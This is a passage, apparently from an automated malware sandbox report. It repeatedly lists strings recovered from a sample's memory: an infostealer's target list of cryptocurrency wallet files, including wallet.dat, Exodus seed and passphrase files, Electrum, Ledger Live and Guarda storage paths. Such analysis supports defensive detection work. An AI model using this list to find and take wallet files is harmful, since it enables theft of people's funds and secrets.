Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 